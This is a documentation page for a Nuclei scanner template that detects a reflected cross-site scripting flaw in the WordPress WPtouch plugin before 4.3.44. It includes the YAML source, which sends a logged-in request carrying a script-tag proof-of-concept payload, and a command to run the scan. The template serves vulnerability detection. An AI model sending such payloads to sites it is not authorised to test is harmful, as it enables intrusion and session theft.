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WordPress WPtouch <4.3.44 - Cross-Site Scripting

ID: wptouch-xss

Severity: medium

Author: akincibor

Tags: wp-plugin,wp,wordpress,xss,authenticated,wptouch,wpscan

Description

Section titled “Description”

WordPress WPtouch plugin prior to 4.3.44 contains a cross-site scripting vulnerability. The plugin does not escape some URLs before outputting them back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: wptouch-xss


info:
  name: WordPress WPtouch <4.3.44 - Cross-Site Scripting
  author: akincibor
  severity: medium
  description: |
    WordPress WPtouch plugin prior to 4.3.44 contains a cross-site scripting vulnerability. The plugin does not escape some URLs before outputting them back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/7dbd8348-9c5d-4d62-a0f4-2b7c2b7e58e4
    - https://wordpress.org/plugins/wptouch/advanced/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 2
  tags: wp-plugin,wp,wordpress,xss,authenticated,wptouch,wpscan


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=wptouch-admin-license&a%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'


      - type: word
        part: body
        words:
          - 'WPtouchCustom'
          - 'WPtouchAjax'
          - 'toplevel_page_wptouch-admin'
        condition: or


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wptouch-xss.yaml"

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